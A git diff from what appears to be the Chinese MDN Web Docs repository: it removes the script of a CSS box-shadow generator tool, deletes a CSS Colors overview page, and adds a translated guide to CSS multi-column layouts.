-		this.setTop(this.top);
-		this.setLeft(this.left);
-		this.setHeight(this.height);
-		this.setWidth(this.width);
-		this.bgcolor.setHSV(0, 0, 100);
-		this.updateBgColor(this.bgcolor);
-	}
-
-	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
-		this.left += deltaX;
-		this.top += deltaY;
-		this.node.style.top = this.top + "px";
-		this.node.style.left = this.left + "px";
-		SliderManager.setValue("left", this.left);
-		SliderManager.setValue("top", this.top);
-	}
-
-	CssClass.prototype.setLeft = function setLeft(value) {
-		this.left = value;
-		this.node.style.left = this.left + "px";
-		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
-	}
-
-	CssClass.prototype.setTop = function setTop(value) {
-		this.top = value;
-		this.node.style.top = this.top + 'px';
-		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
-	}
-
-	CssClass.prototype.setWidth = function setWidth(value) {
-		this.width = value;
-		this.node.style.width = this.width + 'px';
-		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
-	}
-
-	CssClass.prototype.setHeight = function setHeight(value) {
-		this.height = value;
-		this.node.style.height = this.height + 'px';
-		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
-	}
-
-	// Browser support
-	CssClass.prototype.setRotate = function setRotate(value) {
-		var cssvalue = 'rotate(' + value +'deg)';
-
-		this.node.style.transform = cssvalue;
-		this.node.style.webkitTransform = cssvalue;
-		this.node.style.msTransform = cssvalue;
-
-		if (value !== 0) {
-			if (this.rotate === 0) {
-				OutputManager.toggleProperty(this.id, 'transform', true);
-				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
-				OutputManager.toggleProperty(this.id, '-ms-transform', true);
-			}
-		}
-		else {
-			OutputManager.toggleProperty(this.id, 'transform', false);
-			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
-			OutputManager.toggleProperty(this.id, '-ms-transform', false);
-		}
-
-		OutputManager.updateProperty(this.id, 'transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
-		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
-		this.rotate = value;
-	}
-
-	CssClass.prototype.setzIndex = function setzIndex(value) {
-		this.node.style.zIndex = value;
-		OutputManager.updateProperty(this.id, 'z-index', value);
-		this.zIndex = value;
-	}
-
-	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
-		if (typeof value !== "boolean" || this.display === value)
-			return;
-
-		this.display = value;
-		var display = this.display === true ? "block" : "none";
-		this.node.style.display = display;
-		this.object.style.display = display;
-	}
-
-	CssClass.prototype.toggleBorder = function toggleBorder(value) {
-		if (typeof value !== "boolean" || this.border === value)
-			return;
-
-		this.border = value;
-		var border = this.border === true ? "1px solid #CCC" : "none";
-		this.node.style.border = border;
-	}
-
-	CssClass.prototype.updateBgColor = function updateBgColor(color) {
-		this.bgcolor.copy(color);
-		this.node.style.backgroundColor = color.getColor();
-		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
-	}
-
-	CssClass.prototype.updateShadows = function updateShadows() {
-		if (this.render.length === 0)
-			OutputManager.toggleProperty(this.id, 'box-shadow', false);
-		if (this.render.length === 1)
-			OutputManager.toggleProperty(this.id, 'box-shadow', true);
-
-		this.node.style.boxShadow = this.render.join(", ");
-		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
-
-	}
-
-
-	/**
-	 * Tool Manager
-	 */
-	var Tool = (function Tool() {
-
-		var preview;
-		var classes = [];
-		var active = null;
-		var animate = false;
-
-		/*
-		 * Toll actions
-		 */
-		var addCssClass = function addCssClass(id) {
-			classes[id] = new CssClass(id);
-		}
-
-		var setActiveClass = function setActiveClass(id) {
-			active = classes[id];
-			active.shadowID = null;
-			ColoPicker.setColor(classes[id].bgcolor);
-			SliderManager.setValue("top", active.top);
-			SliderManager.setValue("left", active.left);
-			SliderManager.setValue("rotate", active.rotate);
-			SliderManager.setValue("z-index", active.zIndex);
-			SliderManager.setValue("width", active.width);
-			SliderManager.setValue("height", active.height);
-			ButtonManager.setValue("border-state", active.border);
-			active.updateShadows();
-		}
-
-		var disableClass = function disableClass(topic) {
-			classes[topic].toggleDisplay(false);
-			ButtonManager.setValue(topic, false);
-		}
-
-		var addShadow = function addShadow(position) {
-			if (animate === true)
-				return -1;
-
-			active.shadows.splice(position, 0, new Shadow());
-			active.render.splice(position, 0, null);
-		}
-
-		var swapShadow = function swapShadow(id1, id2) {
-			var x = active.shadows[id1];
-			active.shadows[id1] = active.shadows[id2];
-			active.shadows[id2] = x;
-			updateShadowCSS(id1);
-			updateShadowCSS(id2);
-		}
-
-		var deleteShadow = function deleteShadow(position) {
-			active.shadows.splice(position, 1);
-			active.render.splice(position, 1);
-			active.updateShadows();
-		}
-
-		var setActiveShadow = function setActiveShadow(id, glow) {
-			active.shadowID = id;
-			ColoPicker.setColor(active.shadows[id].color);
-			ButtonManager.setValue("inset", active.shadows[id].inset);
-			SliderManager.setValue("blur", active.shadows[id].blur);
-			SliderManager.setValue("spread", active.shadows[id].spread);
-			SliderManager.setValue("posX", active.shadows[id].posX);
-			SliderManager.setValue("posY", active.shadows[id].posY);
-			if (glow === true)
-				addGlowEffect(id);
-		}
-
-		var addGlowEffect = function addGlowEffect(id) {
-			if (animate === true)
-				return;
-
-			animate = true;
-			var store = new Shadow();
-			var shadow = active.shadows[id];
-
-			store.copy(shadow);
-			shadow.color.setRGBA(40, 125, 200, 1);
-			shadow.blur = 10;
-			shadow.spread = 10;
-
-			active.node.style.transition = "box-shadow 0.2s";
-			updateShadowCSS(id);
-
-			setTimeout(function() {
-				shadow.copy(store);
-				updateShadowCSS(id);
-				setTimeout(function() {
-					active.node.style.removeProperty("transition");
-					animate = false;
-				}, 100);
-			}, 200);
-		}
-
-		var updateActivePos = function updateActivePos(deltaX, deltaY) {
-			if (active.shadowID === null)
-				active.updatePos(deltaX, deltaY);
-			else
-				updateShadowPos(deltaX, deltaY);
-		}
-
-		/*
-		 * Shadow properties
-		 */
-		var updateShadowCSS = function updateShadowCSS(id) {
-			active.render[id] = active.shadows[id].computeCSS();
-			active.updateShadows();
-		}
-
-		var toggleShadowInset = function toggleShadowInset(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].toggleInset(value);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
-			var shadow = active.shadows[active.shadowID];
-			shadow.posX += deltaX;
-			shadow.posY += deltaY;
-			SliderManager.setValue("posX", shadow.posX);
-			SliderManager.setValue("posY", shadow.posY);
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosX = function setShadowPosX(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posX = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowPosY = function setShadowPosY(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].posY = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowBlur = function setShadowBlur(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].blur = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var setShadowSpread = function setShadowSpread(value) {
-			if (active.shadowID === null)
-				return;
-			active.shadows[active.shadowID].spread = value;
-			updateShadowCSS(active.shadowID);
-		}
-
-		var updateShadowColor = function updateShadowColor(color) {
-			active.shadows[active.shadowID].color.copy(color);
-			updateShadowCSS(active.shadowID);
-		}
-
-		/*
-		 * Element Properties
-		 */
-		var updateColor = function updateColor(color) {
-			if (active.shadowID === null)
-				active.updateBgColor(color);
-			else
-				updateShadowColor(color);
-		}
-
-		var init = function init() {
-			preview = getElemById("preview");
-
-			ColoPicker.subscribe("color", updateColor);
-			PreviewMouseTracking.subscribe(updateActivePos);
-
-			// Affects shadows
-			ButtonManager.subscribe("inset", toggleShadowInset);
-			SliderManager.subscribe("posX", setShadowPosX);
-			SliderManager.subscribe("posY", setShadowPosY);
-			SliderManager.subscribe("blur", setShadowBlur);
-			SliderManager.subscribe("spread", setShadowSpread);
-
-			// Affects element
-			SliderManager.subscribe("top", function(value){
-				active.setTop(value);
-			});
-			SliderManager.subscribe("left", function(value){
-				active.setLeft(value);
-			});
-			SliderManager.subscribe("rotate", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setRotate(value);
-			});
-
-			SliderManager.subscribe("z-index", function(value) {
-				if (active == classes["element"])
-					return;
-				active.setzIndex(value);
-			});
-
-			SliderManager.subscribe("width", function(value) {
-				active.setWidth(value)
-			});
-
-			SliderManager.subscribe("height", function(value) {
-				active.setHeight(value)
-			});
-
-			// Actions
-			classes['before'].top = -30;
-			classes['before'].left = -30;
-			classes['after'].top = 30;
-			classes['after'].left = 30;
-			classes['before'].toggleDisplay(false);
-			classes['after'].toggleDisplay(false);
-			ButtonManager.setValue('before', false);
-			ButtonManager.setValue('after', false);
-
-			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
-			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
-
-			ButtonManager.subscribe("border-state", function(value) {
-				active.toggleBorder(value);
-			});
-
-		}
-
-		return {
-			init 			: init,
-			addShadow		: addShadow,
-			swapShadow		: swapShadow,
-			addCssClass		: addCssClass,
-			disableClass	: disableClass,
-			deleteShadow	: deleteShadow,
-			setActiveClass	: setActiveClass,
-			setActiveShadow : setActiveShadow
-		}
-
-	})();
-
-	/**
-	 * Layer Manager
-	 */
-	var LayerManager = (function LayerManager() {
-		var stacks = [];
-		var active = {
-			node : null,
-			stack : null
-		}
-		var elements = {};
-
-		var mouseEvents = function mouseEvents(e) {
-			var node = e.target;
-			var type = node.getAttribute('data-type');
-
-			if (type === 'subject')
-				setActiveStack(stacks[node.id]);
-
-			if (type === 'disable') {
-				Tool.disableClass(node.parentNode.id);
-				setActiveStack(stacks['element']);
-			}
-
-			if (type === 'add')
-				active.stack.addLayer();
-
-			if (type === 'layer')
-				active.stack.setActiveLayer(node);
-
-			if (type === 'delete')
-				active.stack.deleteLayer(node.parentNode);
-
-			if (type === 'move-up')
-				active.stack.moveLayer(1);
-
-			if (type === 'move-down')
-				active.stack.moveLayer(-1);
-		}
-
-		var setActiveStack = function setActiveStack(stackObj) {
-			active.stack.hide();
-			active.stack = stackObj;
-			active.stack.show();
-		}
-
-		/*
-		 * Stack object
-		 */
-		var Stack = function Stack(subject) {
-			var S = document.createElement('div');
-			var title = document.createElement('div');
-			var stack = document.createElement('div');
-
-			S.className = 'container';
-			stack.className = 'stack';
-			title.className = 'title';
-			title.textContent = subject.getAttribute('data-title');
-			S.appendChild(title);
-			S.appendChild(stack);
-
-			this.id = subject.id;
-			this.container = S;
-			this.stack = stack;
-			this.subject = subject;
-			this.order = [];
-			this.uid = 0;
-			this.count = 0;
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.addLayer = function addLayer() {
-			if (Tool.addShadow(this.layerID) == -1)
-				return;
-
-			var uid = this.getUID();
-			var layer = this.createLayer(uid);
-
-			if (this.layer === null && this.stack.children.length >= 1)
-				this.layer = this.stack.children[0];
-
-			this.stack.insertBefore(layer, this.layer);
-			this.order.splice(this.layerID, 0, uid);
-			this.count++;
-			this.setActiveLayer(layer);
-		}
-
-		Stack.prototype.createLayer = function createLayer(uid) {
-			var layer = document.createElement('div');
-			var del = document.createElement('span');
-
-			layer.className = 'node';
-			layer.setAttribute('data-shid', uid);
-			layer.setAttribute('data-type', 'layer');
-			layer.textContent = 'shadow ' + uid;
-
-			del.className = 'delete';
-			del.setAttribute('data-type', 'delete');
-
-			layer.appendChild(del);
-			return layer;
-		}
-
-		Stack.prototype.getUID = function getUID() {
-			return this.uid++;
-		}
-
-		// SOLVE IE BUG
-		Stack.prototype.moveLayer = function moveLayer(direction) {
-			if (this.count <= 1 || this.layer === null)
-				return;
-			if (direction === -1 && this.layerID === (this.count - 1) )
-				return;
-			if (direction === 1 && this.layerID === 0 )
-				return;
-
-			if (direction === -1) {
-				var before = null;
-				Tool.swapShadow(this.layerID, this.layerID + 1);
-				this.swapOrder(this.layerID, this.layerID + 1);
-				this.layerID += 1;
-
-				if (this.layerID + 1 !== this.count)
-					before = this.stack.children[this.layerID + 1];
-
-				this.stack.insertBefore(this.layer, before);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-
-			if (direction === 1) {
-				Tool.swapShadow(this.layerID, this.layerID - 1);
-				this.swapOrder(this.layerID, this.layerID - 1);
-				this.layerID -= 1;
-				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
-				Tool.setActiveShadow(this.layerID, false);
-			}
-		}
-
-		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
-			var x = this.order[pos1];
-			this.order[pos1] = this.order[pos2];
-			this.order[pos2] = x;
-		}
-
-		Stack.prototype.deleteLayer = function deleteLayer(node) {
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			var index = this.order.indexOf(shadowID);
-			this.stack.removeChild(this.stack.children[index]);
-			this.order.splice(index, 1);
-			this.count--;
-
-			Tool.deleteShadow(index);
-
-			if (index > this.layerID)
-				return;
-
-			if (index == this.layerID) {
-				if (this.count >= 1) {
-					this.layerID = 0;
-					this.setActiveLayer(this.stack.children[0], true);
-				}
-				else {
-					this.layer = null;
-					this.show();
-				}
-			}
-
-			if (index < this.layerID) {
-				this.layerID--;
-				Tool.setActiveShadow(this.layerID, true);
-			}
-
-		}
-
-		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
-			elements.shadow_properties.style.display = 'block';
-			elements.element_properties.style.display = 'none';
-
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = node;
-			this.layer.setAttribute('data-active', 'layer');
-
-			var shadowID =  node.getAttribute('data-shid') | 0;
-			this.layerID = this.order.indexOf(shadowID);
-			Tool.setActiveShadow(this.layerID, true);
-		}
-
-		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
-			if (this.layer)
-				this.layer.removeAttribute('data-active');
-
-			this.layer = null;
-			this.layerID = 0;
-		}
-
-		Stack.prototype.hide = function hide() {
-			this.unsetActiveLayer();
-			this.subject.removeAttribute('data-active');
-			var style = this.container.style;
-			style.left = '100%';
-			style.zIndex = '0';
-		}
-
-		Stack.prototype.show = function show() {
-			elements.shadow_properties.style.display = 'none';
-			elements.element_properties.style.display = 'block';
-
-			if (this.id === 'element') {
-				elements.zIndex.style.display = 'none';
-				elements.transform_rotate.style.display = 'none';
-			}
-			else {
-				elements.zIndex.style.display = 'block';
-				elements.transform_rotate.style.display = 'block';
-			}
-
-			this.subject.setAttribute('data-active', 'subject');
-			var style = this.container.style;
-			style.left = '0';
-			style.zIndex = '10';
-			Tool.setActiveClass(this.id);
-		}
-
-		function init() {
-
-			var elem, size;
-			var layerManager = getElemById("layer_manager");
-			var layerMenu = getElemById("layer_menu");
-			var container = getElemById("stack_container");
-
-			elements.shadow_properties = getElemById('shadow_properties');
-			elements.element_properties = getElemById('element_properties');
-			elements.transform_rotate = getElemById('transform_rotate');
-			elements.zIndex = getElemById('z-index');
-
-			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
-			size = elem.length;
-
-			for (var i = 0; i < size; i++) {
-				var S = new Stack(elem[i]);
-				stacks[elem[i].id] = S;
-				container.appendChild(S.container);
-				Tool.addCssClass(elem[i].id);
-			}
-
-			active.stack = stacks['element'];
-			stacks['element'].show();
-
-			layerManager.addEventListener("click", mouseEvents);
-			layerMenu.addEventListener("click", mouseEvents);
-
-			ButtonManager.subscribe("before", function(value) {
-				if (value === false && active.stack === stacks['before'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['before'])
-					setActiveStack(stacks['before'])
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				if (value === false && active.stack === stacks['after'])
-					setActiveStack(stacks['element'])
-				if (value === true && active.stack !== stacks['after'])
-					setActiveStack(stacks['after'])
-			});
-		}
-
-		return {
-			init : init
-		}
-	})();
-
-	/*
-	 * OutputManager
-	 */
-	var OutputManager = (function OutputManager() {
-		var classes = [];
-		var buttons = [];
-		var active = null;
-		var menu = null;
-		var button_offset = 0;
-
-		var crateOutputNode = function(topic, property) {
-
-			var prop = document.createElement('div');
-			var name = document.createElement('span');
-			var value = document.createElement('span');
-
-			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
-
-			name.textContent = '\t' + pmatch[4];
-
-			if (pmatch[3] !== undefined) {
-				name.textContent = '\t' + pmatch[2];
-				value.textContent = pmatch[3] + ';';
-			}
-
-			name.textContent += ': ';
-			prop.className = 'css-property';
-			name.className = 'name';
-			value.className = 'value';
-			prop.appendChild(name);
-			prop.appendChild(value);
-
-			classes[topic].node.appendChild(prop);
-			classes[topic].line[property] = prop;
-			classes[topic].prop[property] = value;
-		}
-
-		var OutputClass = function OutputClass(node) {
-			var topic = node.getAttribute('data-topic');
-			var prop = node.getAttribute('data-prop');
-			var name = node.getAttribute('data-name');
-			var properties = prop.split(' ');
-
-			classes[topic] = {};
-			classes[topic].node = node;
-			classes[topic].prop = [];
-			classes[topic].line = [];
-			classes[topic].button = new Button(topic);
-
-			var open_decl = document.createElement('div');
-			var end_decl = document.createElement('div');
-
-			open_decl.textContent = name + ' {';
-			end_decl.textContent = '}';
-			node.appendChild(open_decl);
-
-			for (var i in properties)
-				crateOutputNode(topic, properties[i]);
-
-			node.appendChild(end_decl);
-		}
-
-		var Button = function Button(topic) {
-			var button = document.createElement('div');
-
-			button.className = 'button';
-			button.textContent = topic;
-			button.style.left = button_offset + 'px';
-			button_offset += 100;
-
-			button.addEventListener("click", function() {
-				toggleDisplay(topic);
-			})
-
-			menu.appendChild(button);
-			return button;
-		}
-
-		var toggleDisplay = function toggleDisplay(topic) {
-			active.button.removeAttribute('data-active');
-			active.node.style.display = 'none';
-			active = classes[topic];
-			active.node.style.display = 'block';
-			active.button.setAttribute('data-active', 'true');
-		}
-
-		var toggleButton = function toggleButton(topic, value) {
-			var display = (value === true) ? 'block' : 'none';
-			classes[topic].button.style.display = display;
-
-			if (value === true)
-				toggleDisplay(topic);
-			else
-				toggleDisplay('element');
-		}
-
-		var updateProperty = function updateProperty(topic, property, data) {
-			try {
-				classes[topic].prop[property].textContent = data + ';';
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ", topic, property, data);
-			}
-		}
-
-		var toggleProperty = function toggleProperty(topic, property, value) {
-			var display = (value === true) ? 'block' : 'none';
-			try {
-				classes[topic].line[property].style.display = display;
-			}
-			catch(error) {
-				// console.log("ERROR undefined : ",classes, topic, property, value);
-			}
-		}
-
-		var init = function init() {
-
-			menu = getElemById('menu');
-
-			var elem = document.querySelectorAll('#output .output');
-			var size = elem.length;
-			for (var i = 0; i < size; i++)
-				OutputClass(elem[i]);
-
-			active = classes['element'];
-			toggleDisplay('element');
-
-			ButtonManager.subscribe("before", function(value) {
-				toggleButton('before', value);
-			});
-
-			ButtonManager.subscribe("after", function(value) {
-				toggleButton('after', value);
-			});
-		}
-
-		return {
-			init : init,
-			updateProperty : updateProperty,
-			toggleProperty : toggleProperty
-		}
-
-	})();
-
-
-	/**
-	 * Init Tool
-	 */
-	var init = function init() {
-		ButtonManager.init();
-		OutputManager.init();
-		ColoPicker.init();
-		SliderManager.init();
-		LayerManager.init();
-		PreviewMouseTracking.init("preview");
-		Tool.init();
-	}
-
-	return {
-		init : init
-	}
-
-})();
-
-
-
-
- -
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
- -

Related Tool: Box Shadow CSS Generator

diff --git a/files/zh-cn/web/css/css_colors/index.html b/files/zh-cn/web/css/css_colors/index.html deleted file mode 100644 index 60036fea2b..0000000000 --- a/files/zh-cn/web/css/css_colors/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: CSS Colors -slug: Web/CSS/CSS_Colors -tags: - - CSS - - CSS Colors - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/CSS/CSS_Color -translation_of_original: Web/CSS/CSS_Colors ---- -
{{CSSRef}}
- -

CSS Colors 是 CSS 的一个模块,用于处理颜色、颜色类型和透明度。

- -

参考 (Reference)

- -

属性

- -
-
    -
  • {{cssxref("color")}}
  • -
  • {{cssxref("opacity")}}
  • -
-
- -

CSS 数据类型

- -

{{cssxref("<color>")}}

- -

指南 (Guides)

- -

None.

- -

规范 (Specifications)

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Colors')}}{{Spec2('CSS3 Colors')}} 
{{SpecName('CSS2.1', 'colors.html')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Initial definition
- -

浏览器兼容性 (Browser compatibility)

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1")}}3.03.51.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile("1")}}6.06.01.0
-
- -

另请阅读

- -
    -
  • 在 CSS 中, gradient 渐变色并非颜色,其实质是 images
  • -
diff --git a/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html new file mode 100644 index 0000000000..593e14fd47 --- /dev/null +++ b/files/zh-cn/web/css/css_columns/using_multi-column_layouts/index.html @@ -0,0 +1,130 @@ +--- +title: 使用CSS的多列布局 +slug: Web/Guide/CSS/Using_multi-column_layouts +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +

{{CSSRef("CSS Multi-columns")}}

+ +

CSS多列布局 扩展块布局模式,以便更容易地定义多列文本。如果一行太长,人们阅读文本很麻烦; 如果眼睛从一行的终点移动到下一个行的开始需要太长时间,它们就会丢失它们所在的行。因此,为了最大限度地利用大屏幕,作者应该将宽度不等的文本列并排放置,就像报纸一样。

+ +

糟糕的是如果不使用CSS和HTML在特定的位置强制换行,或者严格限制文本中允许的标记,或者夸张地使用脚本的话,这是不可能实现的。该限制通过从传统的块级布局模块中延伸出来的新的CSS属性得以解决。

+ +

使用多列布局

+ +

列计数器和宽度

+ +

有两个CSS属性控制是否实现多列布局和显示多少列: {{ Cssxref("column-count") }} and {{ Cssxref("column-width") }}。

+ +

属性 column-count 设置特定数量的列数。例如,

+ +
<div style="column-count:2;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

会以两列的方式显示内容:(如果你正使用支持多列布局的浏览器的话):

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

属性 column-width 设置期望的最小列宽。如果 column-count 没有设置,那么浏览器就会以合适的宽度尽量显示更多的列。

+ +
<div style="column-width:20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

变成:

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

详细细节在 CSS3规范 中。

+ +

在多列块中,内容会自动从一列换到另一列中。所有 HTML, CSS 和 DOM 功能在列之间都得到支持, 比如编辑和打印。

+ +

columns 属性简写

+ +

多数时候,网页设计者都会使用 {{ cssxref("column-count") }} 和 {{ cssxref("column-width") }} 的一个. 由于它们的值没有重叠,一般使用简写属性 {{ cssxref("columns") }}。例如,

+ +

CSS声明 column-width:12em 可替换成:

+ +
<div style="columns:12em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

CSS声明 column-count:4 可替换成:

+ +
<div style="columns:4">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

CSS声明 column-width:8emcolumn-count:12 可替换成:

+ +
<div style="columns:12 8em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

高度平衡

+ +

CSS3多列规范需要列高平衡:即,浏览器自动设置最大列高,因此每列中的内容高度大致相同。Firefox浏览器是这样的。

+ +

然而,一些情况下,明确设置最大列高也是有用的,这样内容从第一列开始,尽可能多的生成列,甚至会溢出右边沿。因此,如果通过设置{{ cssxref("height") }} 或 {{ cssxref("max-height") }} 属性来限制列高,在生成新的一列之前每一列都会仅允许增加到这个高度。该模型对布局来说也更高效。

+ +

列间隙

+ +

列之间有缝隙。建议值为1em。该值可通过设置多列模块的 {{ Cssxref("column-gap") }} 属性来修改:

+ +
<div style="column-width:20em; column-gap:2em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum</div>
+
+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

+ +

优雅降级

+ +

多列属性会被不支持多列模型的浏览器忽略。因此,为这些浏览器创建单列结构而为支持多列的浏览器创建多列结构相对来说比较简单。

+ +

注意不是所有的浏览器都支持不带前缀的属性名。为了在大多数现代浏览器中应用这种特性,每个属性必须写三次: 一次用 {{ property_prefix("-moz") }} 前缀,一次用 {{ property_prefix("-webkit") }} 前缀,一次不使用前缀

+ +

讨论

+ +

CSS3 多列特性能帮助网页设计者最优化使用屏幕资源。如果你是一位具有丰富想象力的开发者,你会发现多列特性更多的好处,特别是在高度平衡特性方面。

+ +

其它

+ + + +
 
+ +
 
+ +
 
